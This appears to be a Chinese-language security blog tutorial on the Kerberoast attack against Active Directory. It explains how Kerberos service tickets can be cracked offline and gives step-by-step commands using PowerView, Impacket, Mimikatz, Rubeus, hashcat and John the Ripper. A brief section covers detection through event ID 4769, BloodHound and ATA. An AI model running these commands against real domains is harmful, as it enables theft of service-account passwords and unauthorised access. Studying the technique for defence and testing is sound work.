Kerberoast 攻击


1.Kerberoast 攻击概述

Kerberoast 是一种针对 Kerberos 协议 的攻击技术,主要利用 服务票据(Service Ticket) 的特性,通过离线破解获取服务账户的明文密码。

2.攻击原理

  1. Kerberos 协议流程
    • 用户请求访问服务时,向 KDC(Key Distribution Center)请求 TGT(Ticket Granting Ticket)
    • 用户使用 TGT 请求 服务票据(Service Ticket)
    • 服务票据使用服务账户的 NTLM 哈希 加密。
  2. 攻击者行为
    • 攻击者通过 Kerberoasting 获取服务票据。
    • 服务票据使用服务账户的哈希加密,攻击者可以离线破解哈希,获取明文密码。

3.攻击步骤

(1)枚举SPN

使用工具枚举域内配置了 SPN 的服务账户:

# 使用 PowerView
Get-NetUser -SPN

# 使用 Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>

(2)请求服务票据

请求目标服务账户的票据:

# 使用 Mimikatz
kerberos::ask /target:<SPN>

# 使用 Rubeus
Rubeus.exe kerberoast /user:<SERVICE_ACCOUNT> /nowrap

(3)导出票据

将票据导出为可破解的格式(如 hashcatjohn 支持的格式):

# 使用 Mimikatz
kerberos::list /export

# 使用 Rubeus
Rubeus.exe kerberoast /format:hashcat

(4)离线破解

使用工具破解服务账户的哈希:

# 使用 Hashcat
hashcat -m 13100 -a 0 <HASH_FILE> <WORDLIST>
例子:hashcat -m 13100 hash.txt rockyou.txt   #rockyou.txt 是kali自带的密码本,破解hash密码为明文

# 使用 John the Ripper
john --format=krb5tgs --wordlist=<WORDLIST> <HASH_FILE>

4.检测Kerberoasting

日志分析

  • 事件 ID 4769:Kerberos 服务票据请求。
  • 检查大量服务票据请求的源 IP 和账户。

工具检测

  • BloodHound:分析域内权限关系,识别易受攻击的服务账户。
  • ATA(Advanced Threat Analytics):检测 Kerberoasting 行为。

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录